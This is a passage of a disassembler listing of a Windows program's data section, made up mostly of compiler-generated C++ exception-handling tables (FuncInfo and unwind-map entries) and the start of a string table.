loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db 